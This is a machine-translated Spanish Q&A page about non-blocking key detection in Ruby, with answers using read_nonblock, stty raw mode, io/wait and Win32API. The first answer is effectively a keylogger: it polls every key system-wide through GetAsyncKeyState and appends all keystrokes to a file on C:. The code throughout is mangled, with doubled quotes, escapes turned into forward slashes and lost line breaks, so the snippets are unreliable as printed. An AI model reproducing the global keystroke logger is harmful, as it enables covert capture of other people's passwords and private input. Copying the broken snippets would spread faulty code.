variable valores una retornar metodo manejo interpolar ingreso imprimir definir datos cadenas ruby input nonblocking

valores - manejo de cadenas en ruby



Detección de pulsaciones de teclas(sin bloqueo) sin getc/gets en Ruby (6)

Ahora usa este

require ''Win32API'' VK_SHIFT = 0x10 VK_ESC = 0x1B def check_shifts() $listener.call(VK_SHIFT) != 0 ? true : false end # create empty Hash of key codes keys = Hash.new # create empty Hash for shift characters uppercase = Hash.new # add letters (0x41..0x5A).each { |code| keys[code.chr.downcase] = code } # add numbers (0x30..0x39).each { |code| keys[code-0x30] = code } # add special characters keys['';''] = 0xBA; keys[''=''] = 0xBB; keys['',''] = 0xBC; keys[''-''] = 0xBD; keys[''.''] = 0xBE keys[''/''] = 0xBF; keys[''`''] = 0xC0; keys[''[''] = 0xDB; keys['']''] = 0xDD; keys["''"] = 0xDE keys[''//'] = 0xDC # add custom key macros keys["/n"] = 0x0D; keys["/t"] = 0x09; keys[''(backspace)''] = 0x08; keys[''(CAPSLOCK)''] = 0x14 # add for uppercase letters (''a''..''z'').each { |char| uppercase[char] = char.upcase } # add for uppercase numbers uppercase[1] = ''!''; uppercase[2] = ''@''; uppercase[3] = ''#''; uppercase[4] = ''$''; uppercase[5] = ''%'' uppercase[6] = ''^''; uppercase[7] = ''&''; uppercase[8] = ''*''; uppercase[9] = ''(''; uppercase[0] = '')'' # add for uppercase special characters uppercase['';''] = '':''; uppercase[''=''] = ''+''; uppercase['',''] = ''<''; uppercase[''-''] = ''_''; uppercase[''.''] = ''>'' uppercase[''/''] = ''?''; uppercase[''`''] = ''~''; uppercase[''[''] = ''{''; uppercase['']''] = ''}''; uppercase["''"] = ''"'' uppercase[''//'] = ''|'' # create a listener for Windows key-presses $listener = Win32API.new(''user32'', ''GetAsyncKeyState'', [''i''], ''i'') # call listener once to initialize lsb''s keys.each_value { |code| $listener.call(code) } logs = File.open(''C://kpkt.txt'', ''a'') while true break if $listener.call(VK_ESC) != 0 keys.each do |char, code| n = $listener.call(code) if n and n & 0x01 == 1 check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}") end end end logs.close()

Tengo una tarea simple que necesita esperar a que algo cambie en el sistema de archivos (es esencialmente un compilador para prototipos). Así que tengo un simple bucle infinito con un sueño de 5 segundos después de la comprobación de archivos modificados.

loop do # if files changed # process files # and puts result sleep 5 end

En lugar del saludo Ctrl+C , prefiero poder probar y ver si se ha presionado una tecla, sin bloquear el bucle. Esencialmente, solo necesito una forma de saber si hay pulsaciones de teclas entrantes, luego una forma de agarrarlas hasta que se alcance una Q, y luego salir del programa.

Lo que quiero es:

def wait_for_Q key_is_pressed && get_ch == ''Q'' end loop do # if files changed # process files # and puts result wait_for_Q or sleep 5 end

O, ¿es esto algo que Ruby simplemente no hace (bueno)?


Aquí hay una forma de hacerlo, usando IO#read_nonblock :

def quit? begin # See if a ''Q'' has been typed yet while c = STDIN.read_nonblock(1) puts "I found a #{c}" return true if c == ''Q'' end # No ''Q'' found false rescue Errno::EINTR puts "Well, your device seems a little slow..." false rescue Errno::EAGAIN # nothing was ready to be read puts "Nothing to be read..." false rescue EOFError # quit on the end of the input stream # (user hit CTRL-D) puts "Who hit CTRL-D, really?" true end end loop do puts "I''m a loop!" puts "Checking to see if I should quit..." break if quit? puts "Nope, let''s take a nap" sleep 5 puts "Onto the next iteration!" end puts "Oh, I quit."

Tenga en cuenta que a pesar de que utiliza IO no bloqueante, sigue siendo IO en búfer . Eso significa que sus usuarios tendrán que presionar Q luego <Enter> . Si quieres hacer IO sin búfer, te sugiero que visites la biblioteca de ruby ​​curses.


Combinando las diversas soluciones que acabo de leer, se me ocurrió una forma multiplataforma para resolver ese problema. Aquí encontrará detalles , pero aquí está el código relevante: un método GetKey.getkey que devuelve el código ASCII o nil si no se presionó ninguno.

Debería funcionar tanto en Windows como en Unix.

module GetKey # Check if Win32API is accessible or not @use_stty = begin require ''Win32API'' false rescue LoadError # Use Unix way true end # Return the ASCII code last key pressed, or nil if none # # Return:: # * _Integer_: ASCII code of the last key pressed, or nil if none def self.getkey if @use_stty system(''stty raw -echo'') # => Raw mode, no echo char = (STDIN.read_nonblock(1).ord rescue nil) system(''stty -raw echo'') # => Reset terminal mode return char else return Win32API.new(''crtdll'', ''_kbhit'', [ ], ''I'').Call.zero? ? nil : Win32API.new(''crtdll'', ''_getch'', [ ], ''L'').Call end end end

Y aquí hay un programa simple para probarlo:

loop do k = GetKey.getkey puts "Key pressed: #{k.inspect}" sleep 1 end

En el enlace proporcionado anteriormente, también muestro cómo usar la biblioteca de curses , pero el resultado se vuelve un poco raro en Windows.


También es posible que desee investigar la biblioteca ''io / wait'' para Ruby, que proporciona la ready? Método a todos los objetos IO. No he probado su situación específicamente, pero la estoy usando en una biblioteca basada en socket en la que estoy trabajando. En su caso, siempre que STDIN sea solo un objeto de IO estándar, probablemente podría dejar el momento ready? devuelve un resultado no nulo, a menos que esté interesado en averiguar qué tecla se presionó realmente. Esta funcionalidad se puede obtener a través de require ''io/wait'' , que forma parte de la biblioteca estándar de Ruby. No estoy seguro de que funcione en todos los entornos, pero vale la pena intentarlo. Rdocs: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/


También puedes hacer esto sin el búfer. En sistemas basados ​​en Unix es fácil:

system("stty raw -echo") #=> Raw mode, no echo char = STDIN.getc system("stty -raw echo") #=> Reset terminal mode puts char

Esto esperará a que se presione una tecla y devolverá el código de caracteres. No es necesario presionar.

Ponga el char = STDIN.getc en un bucle y ya lo tiene!

Si estás en Windows, de acuerdo con The Ruby Way, necesitas escribir una extensión en C o usar este truco (aunque esto fue escrito en 2001, por lo que podría haber una mejor manera)

require ''Win32API'' char = Win32API.new(''crtdll'',''_getch'', [], ''L'').Call

Aquí está mi referencia: gran libro, si no lo tienes, deberías


Una combinación de las otras respuestas obtiene el comportamiento deseado. Probado en ruby ​​1.9.3 en OSX y Linux.

loop do puts ''foo'' system("stty raw -echo") char = STDIN.read_nonblock(1) rescue nil system("stty -raw echo") break if /q/i =~ char sleep(2) end